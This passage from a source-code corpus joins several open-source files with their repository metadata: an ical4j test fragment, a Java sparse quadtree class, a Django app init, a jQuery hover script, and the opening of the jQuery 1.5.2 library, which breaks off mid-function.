Status.VTODO_CANCELLED)); suite.addTest(new StatusTest("testImmutable", Status.VTODO_COMPLETED)); suite.addTest(new StatusTest("testImmutable", Status.VTODO_IN_PROCESS)); suite.addTest(new StatusTest("testImmutable", Status.VTODO_NEEDS_ACTION)); return suite; } }
benfortuna/ical4j
src/test/java/net/fortuna/ical4j/model/property/StatusTest.java
Java
bsd-3-clause
5,527
package vg.civcraft.mc.civmodcore.locations; import java.util.HashSet; import java.util.Set; import java.util.SortedSet; import java.util.TreeSet; // This isn't designed to contain absolutely HUGE boxes. When the box sizes // encompass the entirety of -MAX_INT to MAX_INT on both the x and y, // it can't handle it. That is to say, it will start splitting many levels // deep and the all encompassing boxes will exist in every tree at every // level, bringing the process to its knees. Boxes with x,y spanning a // million coordinates work just fine and should be sufficient. public class SparseQuadTree<T extends QTBox> { public enum Quadrant { ROOT, NORTH_WEST, SOUTH_WEST, NORTH_EAST, SOUTH_EAST } public static final int MAX_NODE_SIZE = 32; protected Integer borderSize = 0; protected Quadrant quadrant; protected Integer middleX; protected Integer middleZ; protected int size; protected int maxNodeSize = MAX_NODE_SIZE; protected Set<T> boxes; protected SparseQuadTree<T> northWest; protected SparseQuadTree<T> northEast; protected SparseQuadTree<T> southWest; protected SparseQuadTree<T> southEast; public SparseQuadTree() { this(0); } public SparseQuadTree(Integer borderSize) { boxes = new HashSet<>(); if (borderSize == null || borderSize < 0) { throw new IllegalArgumentException("borderSize == null || borderSize < 0"); } this.borderSize = borderSize; this.quadrant = Quadrant.ROOT; } protected SparseQuadTree(Integer borderSize, Quadrant quadrant) { this.boxes = new HashSet<>(); this.borderSize = borderSize; this.quadrant = quadrant; } public void add(T box) { add(box, false); } protected void add(T box, boolean inSplit) { ++size; if (boxes != null) { boxes.add(box); if (!inSplit) { split(); } return; } if (box.qtXMin() - borderSize <= middleX) { if (box.qtZMin() - borderSize <= middleZ) { northWest.add(box); } if (box.qtZMax() + borderSize > middleZ) { southWest.add(box); } } if (box.qtXMax() + borderSize > middleX) { if (box.qtZMin() - borderSize <= middleZ) { northEast.add(box); } if (box.qtZMax() + borderSize > middleZ) { southEast.add(box); } } } public String boxCoord(T box) { return String.format("(%d,%d %d,%d)", box.qtXMin(), box.qtZMin(), box.qtXMax(), box.qtZMax()); } public Set<T> find(int x, int z) { return this.find(x, z, false); } public Set<T> find(int x, int z, boolean includeBorder) { int border = 0; if (includeBorder) { border = borderSize; } if (boxes != null) { Set<T> result = new HashSet<>(); // These two loops are the same except for the second doesn't include the // border adjustment for a little added performance. if (includeBorder) { for (T box : boxes) { if (box.qtXMin() - border <= x && box.qtXMax() + border >= x && box.qtZMin() - border <= z && box.qtZMax() + border >= z) { result.add(box); } } } else { for (T box : boxes) { if (box.qtXMin() <= x && box.qtXMax() >= x && box.qtZMin() <= z && box.qtZMax() >= z) { result.add(box); } } } return result; } if (x <= middleX) { if (z <= middleZ) { return northWest.find(x, z, includeBorder); } else { return southWest.find(x, z, includeBorder); } } if (z <= middleZ) { return northEast.find(x, z, includeBorder); } return southEast.find(x, z, includeBorder); } public int getBorderSize() { return borderSize; } public void remove(T box) { if (size <= 0) { size = 0; return; } --size; if (size == 0) { boxes = new HashSet<>(); northWest = null; northEast = null; southWest = null; southEast = null; return; } if (boxes != null) { boxes.remove(box); return; } if (box.qtXMin() - borderSize <= middleX) { if (box.qtZMin() - borderSize <= middleZ) { northWest.remove(box); } if (box.qtZMax() + borderSize > middleZ) { southWest.remove(box); } } if (box.qtXMax() + borderSize > middleX) { if (box.qtZMin() - borderSize <= middleZ) { northEast.remove(box); } if (box.qtZMax() + borderSize > middleZ) { southEast.remove(box); } } } protected void setMaxNodeSize(int size) { maxNodeSize = size; } public int size() { return size; } protected void split() { if (boxes == null || boxes.size() <= maxNodeSize) { return; } northWest = new SparseQuadTree<>(borderSize, Quadrant.NORTH_WEST); northEast = new SparseQuadTree<>(borderSize, Quadrant.NORTH_EAST); southWest = new SparseQuadTree<>(borderSize, Quadrant.SOUTH_WEST); southEast = new SparseQuadTree<>(borderSize, Quadrant.SOUTH_EAST); SortedSet<Integer> xAxis = new TreeSet<>(); SortedSet<Integer> zAxis = new TreeSet<>(); for (QTBox box : boxes) { int x; int z; switch (quadrant) { case NORTH_WEST: x = box.qtXMin(); z = box.qtZMin(); break; case NORTH_EAST: x = box.qtXMax(); z = box.qtZMin(); break; case SOUTH_WEST: x = box.qtXMin(); z = box.qtZMax(); break; case SOUTH_EAST: x = box.qtXMax(); z = box.qtZMax(); break; default: x = box.qtXMid(); z = box.qtZMid(); break; } xAxis.add(x); zAxis.add(z); } int counter = 0; int ender = (xAxis.size() / 2) - 1; for (Integer i : xAxis) { if (counter >= ender) { middleX = i; break; } ++counter; } counter = 0; ender = (zAxis.size() / 2) - 1; for (Integer i : zAxis) { if (counter >= ender) { middleZ = i; break; } ++counter; } for (T box : boxes) { if (box.qtXMin() - borderSize <= middleX) { if (box.qtZMin() - borderSize <= middleZ) { northWest.add(box, true); } if (box.qtZMax() + borderSize > middleZ) { southWest.add(box, true); } } if (box.qtXMax() + borderSize > middleX) { if (box.qtZMin() - borderSize <= middleZ) { northEast.add(box, true); } if (box.qtZMax() + borderSize > middleZ) { southEast.add(box, true); } } } if (northWest.size() == boxes.size() || southWest.size() == boxes.size() || northEast.size() == boxes.size() || southEast.size() == boxes.size()) { // Splitting failed as we split into an identically sized quadrent. Update // this nodes max size for next time and throw away the work we did. maxNodeSize = boxes.size() * 2; return; } boolean sizeAdjusted = false; if (northWest.size() >= maxNodeSize) { maxNodeSize = northWest.size() * 2; sizeAdjusted = true; } if (southWest.size() >= maxNodeSize) { maxNodeSize = southWest.size() * 2; sizeAdjusted = true; } if (northEast.size() >= maxNodeSize) { maxNodeSize = northEast.size() * 2; sizeAdjusted = true; } if (southEast.size() >= maxNodeSize) { maxNodeSize = southEast.size() * 2; sizeAdjusted = true; } if (sizeAdjusted) { northWest.setMaxNodeSize(maxNodeSize); southWest.setMaxNodeSize(maxNodeSize); northEast.setMaxNodeSize(maxNodeSize); southEast.setMaxNodeSize(maxNodeSize); } boxes = null; } @Override public String toString() { StringBuilder sb = new StringBuilder(); sb.append(quadrant); if (boxes != null) { sb.append('['); for (T box : boxes) { sb.append(boxCoord(box)); } sb.append(']'); return sb.toString(); } sb.append(String.format("{{%d,%d}", middleX, middleZ)); sb.append(northWest.toString()); sb.append(','); sb.append(southWest.toString()); sb.append(','); sb.append(northEast.toString()); sb.append(','); sb.append(southEast.toString()); sb.append('}'); return sb.toString(); } }
psygate/CivModCore
src/main/java/vg/civcraft/mc/civmodcore/locations/SparseQuadTree.java
Java
bsd-3-clause
7,636
default_app_config = 'userlog.apps.UserLogConfig' __version__ = '0.2'
aaugustin/django-userlog
userlog/__init__.py
Python
bsd-3-clause
71
$(document).ready(function() { $('.boxhover').append('<div class="hover"></div>'); $('.boxhover').hover( function() { $(this).children('div.hover').fadeIn('1000'); }, function() { $(this).children('div.hover').fadeOut('1000'); }); });
ilhammalik/yii2-cms
frontend/web/script/hoverfade.js
JavaScript
bsd-3-clause
248
/*! * jQuery JavaScript Library v1.5.2 * http://jquery.com/ * * Copyright 2011, John Resig * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * Includes Sizzle.js * http://sizzlejs.com/ * Copyright 2011, The Dojo Foundation * Released under the MIT, BSD, and GPL Licenses. * * Date: Thu Mar 31 15:28:23 2011 -0400 */ (function( window, undefined ) { // Use the correct document accordingly with window argument (sandbox) var document = window.document; var jQuery = (function() { // Define a local copy of jQuery var jQuery = function( selector, context ) { // The jQuery object is actually just the init constructor 'enhanced' return new jQuery.fn.init( selector, context, rootjQuery ); }, // Map over jQuery in case of overwrite _jQuery = window.jQuery, // Map over the $ in case of overwrite _$ = window.$, // A central reference to the root jQuery(document) rootjQuery, // A simple way to check for HTML strings or ID strings // (both of which we optimize for) quickExpr = /^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]+)$)/, // Check if a string has a non-whitespace character in it rnotwhite = /\S/, // Used for trimming whitespace trimLeft = /^\s+/, trimRight = /\s+$/, // Check for digits rdigit = /\d/, // Match a standalone tag rsingleTag = /^<(\w+)\s*\/?>(?:<\/\1>)?$/, // JSON RegExp rvalidchars = /^[\],:{}\s]*$/, rvalidescape = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, rvalidtokens = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, rvalidbraces = /(?:^|:|,)(?:\s*\[)+/g, // Useragent RegExp rwebkit = /(webkit)[ \/]([\w.]+)/, ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/, rmsie = /(msie) ([\w.]+)/, rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/, // Keep a UserAgent string for use with jQuery.browser userAgent = navigator.userAgent, // For matching the engine and version of the browser browserMatch, // The deferred used on DOM ready readyList, // The ready event handler DOMContentLoaded, // Save a reference to some core methods toString = Object.prototype.toString, hasOwn = Object.prototype.hasOwnProperty, push = Array.prototype.push, slice = Array.prototype.slice, trim = String.prototype.trim, indexOf = Array.prototype.indexOf, // [[Class]] -> type pairs class2type = {}; jQuery.fn = jQuery.prototype = { constructor: jQuery, init: function( selector, context, rootjQuery ) { var match, elem, ret, doc; // Handle $(""), $(null), or $(undefined) if ( !selector ) { return this; } // Handle $(DOMElement) if ( selector.nodeType ) { this.context = this[0] = selector; this.length = 1; return this; } // The body element only exists once, optimize finding it if ( selector === "body" && !context && document.body ) { this.context = document; this[0] = document.body; this.selector = "body"; this.length = 1; return this; } // Handle HTML strings if ( typeof selector === "string" ) { // Are we dealing with HTML string or an ID? match = quickExpr.exec( selector ); // Verify a match, and that no context was specified for #id if ( match && (match[1] || !context) ) { // HANDLE: $(html) -> $(array) if ( match[1] ) { context = context instanceof jQuery ? context[0] : context; doc = (context ? context.ownerDocument || context : document); // If a single string is passed in and it's a single tag // just do a createElement and skip the rest ret = rsingleTag.exec( selector ); if ( ret ) { if ( jQuery.isPlainObject( context ) ) { selector = [ document.createElement( ret[1] ) ]; jQuery.fn.attr.call( selector, context, true ); } else { selector = [ doc.createElement( ret[1] ) ]; } } else { ret = jQuery.buildFragment( [ match[1] ], [ doc ] ); selector = (ret.cacheable ? jQuery.clone(ret.fragment) : ret.fragment).childNodes; } return jQuery.merge( this, selector ); // HANDLE: $("#id") } else { elem = document.getElementById( match[2] ); // Check parentNode to catch when Blackberry 4.6 returns // nodes that are no longer in the document #6963 if ( elem && elem.parentNode ) { // Handle the case where IE and Opera return items // by name instead of ID if ( elem.id !== match[2] ) { return rootjQuery.find( selector ); } // Otherwise, we inject the element directly into the jQuery object this.length = 1; this[0] = elem; } this.context = document; this.selector = selector; return this; } // HANDLE: $(expr, $(...)) } else if ( !context || context.jquery ) { return (context || rootjQuery).find( selector ); // HANDLE: $(expr, context) // (which is just equivalent to: $(context).find(expr) } else { return this.constructor( context ).find( selector ); } // HANDLE: $(function) // Shortcut for document ready } else if ( jQuery.isFunction( selector ) ) { return rootjQuery.ready( selector ); } if (selector.selector !== undefined) { this.selector = selector.selector; this.context = selector.context; } return jQuery.makeArray( selector, this ); }, // Start with an empty selector selector: "", // The current version of jQuery being used jquery: "1.5.2", // The default length of a jQuery object is 0 length: 0, // The number of elements contained in the matched element set size: function() { return this.length; }, toArray: function() { return slice.call( this, 0 ); }, // Get the Nth element in the matched element set OR // Get the whole matched element set as a clean array get: function( num ) { return num == null ? // Return a 'clean' array this.toArray() : // Return just the object ( num < 0 ? this[ this.length + num ] : this[ num ] ); }, // Take an array of elements and push it onto the stack // (returning the new matched element set) pushStack: function( elems, name, selector ) { // Build a new jQuery matched element set var ret = this.constructor(); if ( jQuery.isArray( elems ) ) { push.apply( ret, elems ); } else { jQuery.merge( ret, elems ); } // Add the old object onto the stack (as a reference) ret.prevObject = this; ret.context = this.context; if ( name === "find" ) { ret.selector = this.selector + (this.selector ? " " : "") + selector; } else if ( name ) { ret.selector = this.selector + "." + name + "(" + selector + ")"; } // Return the newly-formed element set return ret; }, // Execute a callback for every element in the matched set. // (You can seed the arguments with an array of args, but this is // only used internally.) each: function( callback, args ) { return jQuery.each( this, callback, args ); }, ready: function( fn ) { // Attach the listeners jQuery.bindReady(); // Add the callback readyList.done( fn ); return this; }, eq: function( i ) { return i === -1 ? this.slice( i ) : this.slice( i, +i + 1 ); }, first: function() { return this.eq( 0 ); }, last: function() { return this.eq( -1 ); }, slice: function() { return this.pushStack( slice.apply( this, arguments ), "slice", slice.call(arguments).join(",") ); }, map: function( callback ) { return this.pushStack( jQuery.map(this, function( elem, i ) { return callback.call( elem, i, elem ); })); }, end: function() { return this.prevObject || this.constructor(null); }, // For internal use only. // Behaves like an Array's method, not like a jQuery method. push: push, sort: [].sort, splice: [].splice }; // Give the init function the jQuery prototype for later instantiation jQuery.fn.init.prototype = jQuery.fn; jQuery.extend = jQuery.fn.extend = function() { var options, name, src, copy, copyIsArray, clone, target = arguments[0] || {}, i = 1, length = arguments.length, deep = false; // Handle a deep copy situation if ( typeof target === "boolean" ) { deep = target; target = arguments[1] || {}; // skip the boolean and the target i = 2; } // Handle case when target is a string or something (possible in deep copy) if ( typeof target !== "object" && !jQuery.isFunction(target) ) { target = {}; } // extend jQuery itself if only one argument is passed if ( length === i ) { target = this; --i; } for ( ; i < length; i++ ) { // Only deal with non-null/undefined values if ( (options = arguments[ i ]) != null ) { // Extend the base object for ( name in options ) { src = target[ name ]; copy = options[ name ]; // Prevent never-ending loop if ( target === copy ) { continue; } // Recurse if we're merging plain objects or arrays if ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) { if ( copyIsArray ) { copyIsArray = false; clone = src && jQuery.isArray(src) ? src : []; } else { clone = src && jQuery.isPlainObject(src) ? src : {}; } // Never move original objects, clone them target[ name ] = jQuery.extend( deep, clone, copy ); // Don't bring in undefined values } else if ( copy !== undefined ) { target[ name ] = copy; } } } } // Return the modified object return target; }; jQuery.extend({ noConflict: function( deep ) { window.$ = _$; if ( deep ) { window.jQuery = _jQuery; } return jQuery; }, // Is the DOM ready to be used? Set to true once it occurs. isReady: false, // A counter to track how many items to wait for before // the ready event fires. See #6781 readyWait: 1, // Handle when the DOM is ready ready: function( wait ) { // A third-party is pushing the ready event forwards if ( wait === true ) { jQuery.readyWait--; } // Make sure that the DOM is not already loaded if ( !jQuery.readyWait || (wait !== true && !jQuery.isReady) ) { // Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443). if ( !document.body ) { return setTimeout( jQuery.ready, 1 ); } // Remember that the DOM is ready jQuery.isReady = true; // If a normal DOM Ready event fired, decrement, and wait if need be if ( wait !== true && --jQuery.readyWait > 0 ) { return; } // If there are functions bound, to execute readyList.resolveWith( document, [ jQuery ] ); // Trigger any bound ready events if ( jQuery.fn.trigger ) { jQuery( document ).trigger( "ready" ).unbind( "ready" ); } } }, bindReady: function() { if ( readyList ) { return; } readyList = jQuery._Deferred(); // Catch cases where $(document).ready() is called after the // browser event has already occurred. if ( document.readyState === "complete" ) { // Handle it asynchronously to allow scripts the opportunity to delay ready return setTimeout( jQuery.ready, 1 ); } // Mozilla, Opera and webkit nightlies currently support this event if ( document.addEventListener ) { // Use the handy event callback document.addEventListener( "DOMContentLoaded", DOMContentLoaded, false ); // A fallback to window.onload, that will always work window.addEventListener( "load", jQuery.ready, false ); // If IE event model is used } else if ( document.attachEvent ) { // ensure firing before onload, // maybe late but safe also for iframes document.attachEvent("onreadystatechange", DOMContentLoaded); // A fallback to window.onload, that will always work window.attachEvent( "onload", jQuery.ready ); // If IE and not a frame // continually check to see if the document is ready var toplevel = false; try { toplevel = window.frameElement == null; } catch(e) {} if ( document.documentElement.doScroll && toplevel ) { doScrollCheck(); } } }, // See test/unit/core.js for details concerning isFunction. // Since version 1.3, DOM methods and functions like alert // aren't supported. They return false on IE (#2968). isFunction: function( obj ) { return jQuery.type(obj) === "function"; }, isArray: Array.isArray || function( obj ) { return jQuery.type(obj) === "array"; }, // A crude way of determining if an object is a window isWindow: function( obj ) { return obj && typeof obj === "object" && "setInterval" in obj; }, isNaN: function( obj ) { return obj == null || !rdigit.test( obj ) || isNaN( obj ); }, type: function( obj ) { return obj == null ? String( obj ) : class2type[ toString.call(obj) ] || "object"; }, isPlainObject: function( obj ) { // Must be an Object. // Because of IE, we also have to check the presence of the constructor property. // Make sure that DOM nodes and window objects don't pass through, as well if ( !obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow( obj ) ) { return false; } // Not own constructor property must be Object if ( obj.constructor && !hasOwn.call(obj, "constructor") && !hasOwn.call(obj.constructor.prototype, "isPrototypeOf") ) { return false; } // Own properties are enumerated firstly, so to speed up, // if last one is own, then all properties are own. var key; for ( key in obj ) {} return key === undefined || hasOwn.call( obj, key ); }, isEmptyObject: function( obj ) { for ( var name in obj ) { return false; } return true; }, error: function( msg ) { throw msg; }, parseJSON: function( data ) { if ( typeof data !== "string" || !data ) { return null; } // Make sure leading/trailing whitespace is removed (IE can't handle it) data = jQuery.trim( data ); // Make sure the incoming data is actual JSON // Logic borrowed from http://json.org/json2.js if ( rvalidchars.test(data.replace(rvalidescape, "@") .replace(rvalidtokens, "]") .replace(rvalidbraces, "")) ) { // Try to use the native JSON parser first return window.JSON && window.JSON.parse ? window.JSON.parse( data ) : (new Function("return " + data))(); } else { jQuery.error( "Invalid JSON: " + data ); } }, // Cross-browser xml parsing // (xml & tmp used internally) parseXML: function( data , xml , tmp ) { if ( window.DOMParser ) { // Standard tmp = new DOMParser(); xml = tmp.parseFromString( data , "text/xml" ); } else { // IE xml = new ActiveXObject( "Microsoft.XMLDOM" ); xml.async = "false"; xml.loadXML( data ); } tmp = xml.documentElement; if ( ! tmp || ! tmp.nodeName || tmp.nodeName === "parsererror" ) { jQuery.error( "Invalid XML: " + data ); } return xml; }, noop: function() {}, // Evalulates a script in a global context globalEval: function( data ) { if ( data && rnotwhite.test(data) ) { // Inspired by code by Andrea Giammarchi // http://webreflection.blogspot.com/2007/08/global-scope-evaluation-and-dom.html var head = document.head || document.getElementsByTagName( "head" )[0] || document.documentElement, script = document.createElement( "script" ); if ( jQuery.support.scriptEval() ) { script.appendChild( document.createTextNode( data ) ); } else { script.text = data; } // Use insertBefore instead of appendChild to circumvent an IE6 bug. // This arises when a base node is used (#2709). head.insertBefore( script, head.firstChild ); head.removeChild( script ); } }, nodeName: function( elem, name ) { return elem.nodeName && elem.nodeName.toUpperCase() === name.toUpperCase(); }, // args is for internal usage only each: function( object, callback, args ) { var name, i = 0, length = object.length, isObj = length === undefined || jQuery.isFunction(object); if ( args ) { if ( isObj ) { for ( name in object ) { if ( callback.apply( object[ name ], args ) === false ) { break; } } } else { for ( ; i < length; ) { if ( callback.apply( object[ i++ ], args ) === false ) { break; } } } // A special, fast, case for the most common use of each } else { if ( isObj ) { for ( name in object ) { if ( callback.call( object[ name ], name, object[ name ] ) === false ) { break; } } } else { for ( var value = object[0]; i < length && callback.call( value, i, value ) !== false; value = object[++i] ) {} } } return object; }, // Use native String.trim function wherever possible trim: trim ? function( text ) { return text == null ? "" : trim.call( text ); } : // Otherwise use our own trimming functionality function( text ) { return text == null ? "" : text.toString().replace( trimLeft, "" ).replace( trimRight, "" ); }, // results is for internal usage only makeArray: function( array, results ) { var ret = results || []; if ( array != null ) { // The window, strings (and functions) also have 'length' // The extra typeof function check is to prevent crashes // in Safari 2 (See: #3039) // Tweaked logic slightly to handle Blackberry 4.7 RegExp issues #6930 var type = jQuery.type(array); if ( array.length == null || type === "string" || type === "function" || type === "regexp" || jQuery.isWindow( array ) ) { push.call( ret, array ); } else { jQuery.merge( ret, array ); } } return ret; }, inArray: function( elem, array ) { if ( array.indexOf ) { return array.indexOf( elem ); } for ( var i = 0, length = array.length; i < length; i++ ) { if ( array[ i ] === elem ) { return i; } } return -1; }, merge: function( first, second ) { var i = first.length, j = 0; if ( typeof second.length === "number" ) { for ( var l = second.length; j < l; j++ ) { first[ i++ ] = second[ j ]; } } else { while ( second[j] !== undefined ) { first[ i++ ] = second[ j++ ]; } } first.length = i; return first; }, grep: function( elems, callback, inv ) { var ret = [], retVal; inv = !!inv; // Go through the array, only saving the items // that pass the validator function for ( var i = 0, length = elems.length; i < length; i++ ) { retVal = !!callback( elems[ i ], i ); if ( inv !== retVal ) { ret.push( elems[ i ] ); } } return ret; }, // arg is for internal usage only map: function( elems, callback, arg ) { var ret = [], value; // Go through the array, translating each of the items to their // new value (or values). for ( var i = 0, length = elems.length; i < length; i++ ) { value = callback( elems[ i ], i, arg ); if ( value != null ) { ret[ ret.length ] = value; } } // Flatten any nested arrays return ret.concat.apply( [], ret ); }, // A global GUID counter for objects guid: 1, proxy: function( fn, proxy, thisObject ) { if ( arguments.length === 2 ) { if ( typeof proxy === "string" ) { thisObject = fn; fn = thisObject[ proxy ]; proxy = undefined; } else if ( proxy && !jQuery.isFunction( proxy ) ) { thisObject = proxy; proxy = undefined; } } if ( !proxy && fn ) { proxy = function() { return fn.apply( thisObject || this, arguments ); }; } // Set the guid of unique handler to the same of original handler, so it can be removed if ( fn ) { proxy.guid = fn.guid = fn.guid || proxy.guid || jQuery.guid++; } // So proxy can be declared as an argument return proxy; }, // Mutifunctional method to get and set values to a collection // The value/s can be optionally by executed if its a function access: function( elems, key, value, exec, fn, pass ) { var length = elems.length; // Setting many attributes if ( typeof key === "object" ) { for ( var k in key ) { jQuery.access( elems, k, key[k], exec, fn, value ); } return elems; } // Setting one attribute if ( value !== undefined ) { // Optionally, function values get executed if exec is true exec = !pass && exec && jQuery.isFunction(value); for ( var i = 0; i < length; i++ ) { fn( elems[i], key, exec ? value.call( elems[i], i, fn( elems[i], key ) ) : value, pass ); } return elems; } // Getting an attribute return length ? fn( elems[0], key ) : undefined; }, now: function() { return (new Date()).getTime(); }, // Use of jQuery.browser is frowned upon. // More details: http://docs.jquery.com/Utilities/jQuery.browser uaMatch: function( ua ) { ua = ua.toLowerCase(); var match = rwebkit.exec( ua ) || ropera.exec( ua ) || rmsie.exec( ua ) || ua.indexOf("compatible") < 0 && rmozilla.exec( ua ) || []; return { browser: match[1] || "", version: match[2] || "0" }; }, sub: function() { function jQuerySubclass( selector, context ) { return new jQuerySubclass.fn.init( selector, context ); } jQuery.extend( true, jQuerySubclass, this ); jQuerySubclass.superclass = this; jQuerySubclass.fn = jQuerySubclass.prototype = this(); jQuerySubclass.fn.constructor = jQuerySubclass; jQuerySubclass.subclass = this.subclass; jQuerySubclass.fn.init = function init( selector, context ) { if ( context && context instanceof jQuery && !(context instanceof jQuerySubclass) ) { context = jQuerySubclass(context); } return jQuery.fn.init.call( this, selector, context, rootjQuerySubclass ); }; jQuerySubclass.fn.init.prototype = jQuerySubclass.fn; var rootjQuerySubclass = jQuerySubclass(document); return jQuerySubclass; }, browser: {} }); // Populate the class2type map jQuery.each("Boolean Number String Function Array Date RegExp Object".split(" "), function(i, name) { class2type[ "[object " + name + "]" ] = name.toLowerCase(); }); browserMatch = jQuery.uaMatch( userAgent ); if ( browserMatch.browser ) { jQuery.browser[ browserMatch.browser ] = true; jQuery.browser.version = browserMatch.version; } // Deprecated, use jQuery.browser.webkit instead if ( jQuery.browser.webkit ) { jQuery.browser.safari = true; } if ( indexOf ) { jQuery.inArray = function( elem, array ) { return indexOf.call( array, elem ); }; } // IE doesn't match non-breaking spaces with \s if ( rnotwhite.test( "\xA0" ) ) { trimLeft = /^[\s\xA0]+/; trimRight = /[\s\xA0]+$/; } // All jQuery objects should point back to these rootjQuery = jQuery(document); // Cleanup functions for the document ready method if ( document.addEventListener ) { DOMContentLoaded = function() { document.removeEventListener( "DOMContentLoaded", DOMContentLoaded, false ); jQuery.ready(); }; } else if ( document.attachEvent ) { DOMContentLoaded = function() { // Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443). if ( document.readyState === "complete" ) { document.detachEvent( "onreadystatechange", DOMContentLoaded ); jQuery.ready(); } }; } // The DOM ready check for Internet Explorer function doScrollCheck() { if ( jQuery.isReady ) { return; } try { // If IE is used, use the trick by Diego Perini // http://javascript.nwbox.com/IEContentLoaded/ document.documentElement.doScroll("left"); } catch(e) { setTimeout( doScrollCheck, 1 ); return; } // and execute any waiting functions jQuery.ready(); } // Expose jQuery to the global object return jQuery; })(); var // Promise methods promiseMethods = "then done fail isResolved isRejected promise".split( " " ), // Static reference to slice sliceDeferred = [].slice; jQuery.extend({ // Create a simple deferred (one callbacks list) _Deferred: function() { var // callbacks list callbacks = [], // stored [ context , args ] fired, // to avoid firing when already doing so firing, // flag to know if the deferred has been cancelled cancelled, // the deferred itself deferred = { // done( f1, f2, ...) done: function() { if ( !cancelled ) { var args = arguments, i, length, elem, type, _fired; if ( fired ) { _fired = fired; fired = 0; } for ( i = 0, length = args.length; i < length; i++ ) { elem = args[ i ]; type = jQuery.type( elem ); if ( type === "array" ) { deferred.done.apply( deferred, elem ); } else if ( type === "function" ) { callbacks.push( elem ); } } if ( _fired ) { deferred.resolveWith( _fired[ 0 ], _fired[ 1 ] ); } } return this; }, // resolve with given context and args resolveWith: function( context, args ) { if ( !cancelled && !fired && !firing ) { // make sure args are available (#8421) args = args || []; firing = 1; try { while( callbacks[ 0 ] ) { callbacks.shift().apply( context, args ); } } catch(e){ // } finally { fired = [ context, args ]; firing = 0; } } return this; }, // resolve with this as context and given arguments resolve: function() { deferred.resolveWith( this, arguments ); return this; }, // Has this deferred been resolved? isResolved: function() { return !!( firing || fired ); }, // Cancel cancel: function() { cancelled = 1; callbacks = []; return this; } }; return deferred; }, // Full fledged deferred (two callbacks list) Deferred: function( func ) { var deferred = jQuery._Deferred(), failDeferred = jQuery._Deferred(), promise; // Add errorDeferred methods, then and promise jQuery.extend( deferred, { then: function( doneCallbacks, failCallbacks ) { deferred.done( doneCallbacks ).fail( failCallbacks ); return this; }, fail: failDeferred.done, rejectWith: failDeferred.resolveWith, reject: failDeferred.resolve, isRejected: failDeferred.isResolved, // Get a promise for this deferred // If obj is provided, the promise aspect is added to the object promise: function( obj ) { if ( obj == null ) { if ( promise ) { return promise; } promise = obj = {}; } var i = promiseMethods.length; while( i-- ) { obj[ promiseMethods[i] ] = deferred[ promiseMethods[i] ]; } return obj; } } ); // Make sure only one callback list will be used deferred.done( failDeferred.cancel ).fail( deferred.cancel ); // Unexpose cancel delete deferred.cancel; // Call given func if any if ( func ) { func.call( deferred, deferred ); } return deferred; }, // Deferred helper when: function( firstParam ) { var args = arguments, i = 0, length = args.length, count = length, deferred = length <= 1 && firstParam && jQuery.isFunction( firstParam.promise ) ? firstParam : jQuery.Deferred(); function resolveFunc( i ) { return function( value ) { args[ i ] = arguments.length > 1 ? sliceDeferred.call( arguments, 0 ) : value; if ( !( --count ) ) { // Strange bug in FF4: // Values changed onto the arguments object sometimes end up as undefined values // outside the $.when method. Cloning the object into a fresh array solves the issue deferred.resolveWith( deferred, sliceDeferred.call( args, 0 ) ); } }; } if ( length > 1 ) { for( ; i < length; i++ ) { if ( args[ i ] && jQuery.isFunction( args[ i ].promise ) ) { args[ i ].promise().then( resolveFunc(i), deferred.reject ); } else { --count; } } if ( !count ) { deferred.resolveWith( deferred, args ); } } else if ( deferred !== firstParam ) { deferred.resolveWith( deferred, length ? [ firstParam ] : [] ); } return deferred.promise(); } }); (function() { jQuery.support = {}; var div = document.createElement("div"); div.style.display = "none"; div.innerHTML = " <link/><table></table><a href='/a' style='color:red;float:left;opacity:.55;'>a</a><input type='checkbox'/>"; var all = div.getElementsByTagName("*"), a = div.getElementsByTagName("a")[0], select = document.createElement("select"), opt = select.appendChild( document.createElement("option") ), input = div.getElementsByTagName("input")[0]; // Can't get basic test support if ( !all || !all.length || !a ) { return; } jQuery.support = { // IE strips leading whitespace when .innerHTML is used leadingWhitespace: div.firstChild.nodeType === 3, // Make sure that tbody elements aren't automatically inserted // IE will insert them into empty tables tbody: !div.getElementsByTagName("tbody").length, // Make sure that link elements get serialized correctly by innerHTML // This requires a wrapper element in IE htmlSerialize: !!div.getElementsByTagName("link").length, // Get the style information from getAttribute // (IE uses .cssText insted) style: /red/.test( a.getAttribute("style") ), // Make sure that URLs aren't manipulated // (IE normalizes it by default) hrefNormalized: a.getAttribute("href") === "/a", // Make sure that element opacity exists // (IE uses filter instead) // Use a regex to work around a WebKit issue. See #5145 opacity: /^0.55$/.test( a.style.opacity ), // Verify style float existence // (IE uses styleFloat instead of cssFloat) cssFloat: !!a.style.cssFloat, // Make sure that if no value is specified for a checkbox // that it defaults to "on". // (WebKit defaults to "" instead) checkOn: input.value === "on", // Make sure that a selected-by-default option has a working selected property. // (WebKit defaults to false instead of true, IE too, if it's in an optgroup) optSelected: opt.selected, // Will be defined later deleteExpando: true, optDisabled: false, checkClone: false, noCloneEvent: true, noCloneChecked: true, boxModel: null, inlineBlockNeedsLayout: false, shrinkWrapBlocks: false, reliableHiddenOffsets: true, reliableMarginRight: true }; input.checked = true; jQuery.support.noCloneChecked = input.cloneNode( true ).checked; // Make sure that the options inside disabled selects aren't marked as disabled // (WebKit marks them as diabled) select.disabled = true; jQuery.support.optDisabled = !opt.disabled; var _scriptEval = null; jQuery.support.scriptEval = function() { if ( _scriptEval === null ) { var root = document.documentElement, script = document.createElement("script"), id = "script" + jQuery.now(); // Make sure that the execution of code works by injecting a script // tag with appendChild/createTextNode // (IE doesn't support this, fails, and uses .text instead) try { script.appendChild( document.createTextNode( "window." + id + "=1;" ) ); } catch(e) {} root.insertBefore( script, root.firstChild ); if ( window[ id ] ) { _scriptEval = true; delete window[ id ]; } else { _scriptEval = false; } root.removeChild( script ); } return _scriptEval; }; // Test to see if it's possible to delete an expando from an element // Fails in Internet Explorer try { delete div.test; } 